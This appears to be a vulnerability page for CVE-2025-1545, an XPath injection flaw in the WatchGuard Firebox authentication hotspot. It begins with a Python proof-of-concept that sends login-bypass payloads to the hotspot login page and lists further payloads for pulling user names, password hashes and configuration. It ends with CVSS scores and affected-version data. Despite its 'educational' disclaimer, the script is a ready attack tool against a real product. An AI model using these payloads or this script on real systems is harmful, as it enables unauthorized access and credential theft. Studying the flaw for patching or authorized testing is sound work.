CVE-2025-1545

# CVE-2025-1545 XPath Injection PoC (Educational Purpose Only) # Target: WatchGuard Firebox Authentication Hotspot # Note: This is a conceptual PoC for authorized security testing only import requests import urllib3 urllib3.disable_warnings() TARGET_URL = "https://<firebox-ip>/auth/login.html" # XPath Injection payloads for testing PAYLOADS = [ "admin' or '1'='1", "' or '1'='1' or 'a'='a", "admin' or count(/*) > 0 or 'x'='y", "' or string-length(name(.)) > 0 or 'x'='y" ] def test_xpath_injection(): """ Test for XPath injection vulnerability in WatchGuard Firebox The vulnerability exists in authentication hotspot interface """ for payload in PAYLOADS: data = { 'username': payload, 'password': 'any_password', 'submit': 'Login' } try: response = requests.post(TARGET_URL, data=data, verify=False, timeout=10) # Analyze response for signs of successful injection # - Different error messages # - Successful authentication # - Information disclosure print(f"Payload: {payload}") print(f"Status: {response.status_code}") print(f"Response Length: {len(response.text)}") except requests.exceptions.RequestException as e: print(f"Request failed: {e}") def extract_config_info(): """ Extract sensitive configuration using XPath injection """ # Extract user list username_payload = "' or //user[1]/name or 'x'='y" # Extract password hashes password_payload = "' or //user[1]/password or 'x'='y" # Extract configuration config_payload = "' or //config/* or 'x'='y" print("Extracting configuration data...") # Implementation would send crafted requests # and parse responses for sensitive information if __name__ == "__main__": print("CVE-2025-1545 XPath Injection Test Tool") print("Use only on systems you have permission to test") test_xpath_injection()

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This vulnerability only affects Firebox systems that have at least one authentication hotspot configured.This issue affects Fireware OS 11.11 up to and including 11.12.4+541730, 12.0 up to and including 12.11.4, 12.5 up to and including 12.5.13, and 2025.1 up to and including 2025.1.2."}], "metrics": {"cvssMetricV40": [{"source": "5d1c2695-1a31-4499-88ae-e847036fd7e3", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "PRESENT", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "5d1c2695-1a31-4499-88ae-e847036fd7e3", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-91"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:watchguard:fireware:*:*:*:*:*:*:*:*", "versionStartIncluding": "2025.1", "versionEndExcluding": "2025.1.3", "matchCriteriaId": "46DAB795-8DD0-4D6C-99D5-B9057E76DB87"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:watchguard:firebox_t115-w:-:*:*:*:*:*:*:*", "matchCriteriaId": "E8AAE66B-DD19-4C90-8DFC-F77BA1541642"}, {"vulnerable": false, "criteria": "cpe:2.3:h:watchguard:firebox_t125:-:*:*:*:*:*:*:*", "matchCriteriaId": "7FC18430-C6B4-4395-BFF1-83BB005875BA"}, {"vulnerable": false, "criteria": "cpe:2.3:h:watchguard:firebox_t125-w:-:*:*:*:*:*:*:*", "matchCriteriaId": "1A7C1C91-8B6E-4FB0-841E-7F88B06B1435"}, {"vulnerable": false, "criteria": "cpe:2.3:h:watchguard:firebox_t145:-:*:*:*:*:*:*:*", "matchCriteriaId": "8FE309D6-BD5E-4D18-91C3-A492C3576115"}, {"vulnerable": false, "criteria": "cpe:2.3:h:watchguard:firebox_t145-w:-:*:*:*:*:*:*:*", "matchCriteriaId": "75959D39-0960-4836-96C7-DB8048DDE4B8"}, {"vulnerable": false, "criteria": "cpe:2.3:h:watchguard:firebox_t185:-:*:*:*:*:*:*:*", "matchCriteriaId": "D0087049-27C6-4B18-A645-72A8F63D7C6D"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:watchguard:fireware:*:*:*:*:*:*:*:*", "versionStartIncluding": "11.11", "versionEndExcluding": "12.11.5", "matchCriteriaId": "8BDAB257-D4A3-4154-860B-89389F624C9B"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:watchguard:firebox_m270:-:*:*:*:*:*:*:*", "matchCriteriaId": "E472917E-D6E1-4C2D-B37D-E76FCC7307CA"}, {"vulnerable": false, "criteria": "cpe:2.3:h:watchguard:firebox_m290:-:*:*:*:*:*:*:*", "matchCriteriaId": "9A8C7779-4466-4A9E-B191-929E7746DFF7"}, {"vulnerable": false, "criteria": "cpe:2.3:h:watchguard:firebox_m370:-:*:*:*:*:*:*:*", "matchCriteriaId": "6CE9A123-B769-4E56-845E-DC3DA6166C ... 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